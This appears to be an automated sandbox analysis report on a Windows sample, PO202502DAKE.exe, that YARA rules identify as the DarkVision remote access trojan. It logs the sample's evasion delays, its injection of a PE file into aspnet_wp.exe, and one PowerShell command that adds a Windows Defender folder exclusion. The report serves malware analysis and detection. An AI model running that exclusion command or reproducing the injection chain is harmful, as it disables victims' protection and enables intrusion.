Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory allocated: 23337E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory allocated: 23337E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory allocated: 1FF1C940000 memory reserve \| memory write watch
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory allocated: 1FF1C960000 memory reserve \| memory write watch
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory allocated: 21BC0980000 memory reserve \| memory write watch
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory allocated: 21BC0AA0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4895	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4976	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Window / User API: threadDelayed 892	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	API coverage: 8.9 %
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	API coverage: 5.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1752	Thread sleep count: 4895 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5104	Thread sleep count: 4976 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6628	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe TID: 7936	Thread sleep count: 892 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe TID: 7936	Thread sleep time: -892000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CEF7210 SetLastError,FindFirstFileExW,GetLastError,		12_2_00007FFC9CEF7210
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CE47210 SetLastError,FindFirstFileExW,GetLastError,		28_2_00007FFC9CE47210

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: PO202502DAKE.exe, 0000001C.00000002.1452181020.000001FF1C989000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllhh~
Source: PO202502DAKE.exe, 0000000C.00000002.1317099796.00007FFC9CFCB000.00000002.00000001.01000000.00000008.sdmp, PO202502DAKE.exe, 0000000C.00000002.1316763168.00007FFC9CD8C000.00000002.00000001.01000000.00000009.sdmp, PO202502DAKE.exe, 0000001C.00000002.1454603061.00007FFC9CCDC000.00000002.00000001.01000000.00000010.sdmp, PO202502DAKE.exe, 0000001C.00000002.1455259639.00007FFC9CF1B000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1538038684.00007FFC9CFCB000.00000002.00000001.01000000.0000000F.sdmp, PO202502DAKE.exe, 00000021.00000002.1537704018.00007FFC9CD8C000.00000002.00000001.01000000.00000010.sdmp, libcares-2.dll.12.dr, libcares-2.dll.9.dr, msvcp290.dll.9.dr, msvcp290.dll.12.dr	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: PO202502DAKE.exe, 0000000C.00000002.1315626963.0000023337EA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllmm0.P
Source: aspnet_wp.exe, 00000010.00000002.6606722236.000001744C4F9000.00000004.00000020.00020000.00000000.sdmp, aspnet_wp.exe, 00000010.00000003.2005986751.000001744C4F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll``
Source: PO202502DAKE.exe, 00000021.00000002.1536495963.0000021BC0839000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^^

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 16_2_000000014002C078 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

16_2_000000014002C078

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe

Code function: 12_2_00007FF6220A8700 GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

12_2_00007FF6220A8700

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FF6220A1180 Sleep,Sleep,SetUnhandledExceptionFilter,	12_2_00007FF6220A1180
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CD85F0C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FFC9CD85F0C
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: 12_2_00007FFC9CFC52BC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FFC9CFC52BC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014002C078 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_000000014002C078
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014002FE18 SetUnhandledExceptionFilter,	16_2_000000014002FE18
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_000000014002DE40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_000000014002DE40
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 16_2_00000001400326F4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00000001400326F4
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FF6E44A1180 Sleep,Sleep,SetUnhandledExceptionFilter,	28_2_00007FF6E44A1180
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CCD5F0C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FFC9CCD5F0C
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 28_2_00007FFC9CF152BC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FFC9CF152BC
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: 33_2_00007FF6E44A1180 Sleep,Sleep,SetUnhandledExceptionFilter,	33_2_00007FF6E44A1180

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force"
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force"			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 protect: page execute and read and write
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 value starts with: 4D5A
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Thread register set: target process: 7640	Jump to behavior
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Thread register set: target process: 8476
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Thread register set: target process: 8636

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140001000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140039000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140045000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140076000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140078000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140079000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 3798345010	Jump to behavior
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140001000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140039000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140045000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140076000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140078000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140079000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 4788F94010
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140000000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140001000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140039000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140045000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140076000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140078000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: 140079000
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe base: C516BBB010

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\SystemRootDoc\PO202502DAKE.exe "C:\Users\user\SystemRootDoc\PO202502DAKE.exe"
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: GetLocaleInfoEx,	12_2_00007FFC9CCBFEC0
Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe	Code function: GetLocaleInfoEx,	12_2_00007FFC9CEF6860
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: GetLocaleInfoEx,	28_2_00007FFC9CC0FEC0
Source: C:\Users\user\SystemRootDoc\PO202502DAKE.exe	Code function: GetLocaleInfoEx,	28_2_00007FFC9CE46860

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe

Code function: 12_2_00007FFC9CD864DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

12_2_00007FFC9CD864DC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 16_2_0000000140027330 LocalAlloc,LoadLibraryW,GetProcAddress,GetUserGeoID,gethostname,gethostbyname,GetUserNameW,GetTickCount64,

16_2_0000000140027330

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

Code function: 16_2_0000000140030F3C HeapCreate,GetVersion,HeapSetInformation,

16_2_0000000140030F3C

Stealing of Sensitive Information

Yara detected DarkVision Rat

Source: Yara match	File source: 33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.PO202502DAKE.exe.2333c8716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.PO202502DAKE.exe.21bc50716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.PO202502DAKE.exe.1ff210716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1316214716.00000273D3000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537027703.0000021BC506A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1452878031.000001FF21000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1315965400.000002333C86A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537278105.0000025C5A000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537027703.0000021BC5000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1452878031.000001FF2106A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1315965400.000002333C800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1453587554.0000023FB6000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 7640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 8408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 8476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 8572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 8636, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\SystemRootDoc\nasrallah_x86.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\invoice_temp\nasrallah_x86.dll, type: DROPPED

Remote Access Functionality

Yara detected DarkVision Rat

Source: Yara match	File source: 33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.PO202502DAKE.exe.2333c8716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.PO202502DAKE.exe.21bc50716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.aspnet_wp.exe.140000000.0.raw.unpack, type: UNPACKEDPE
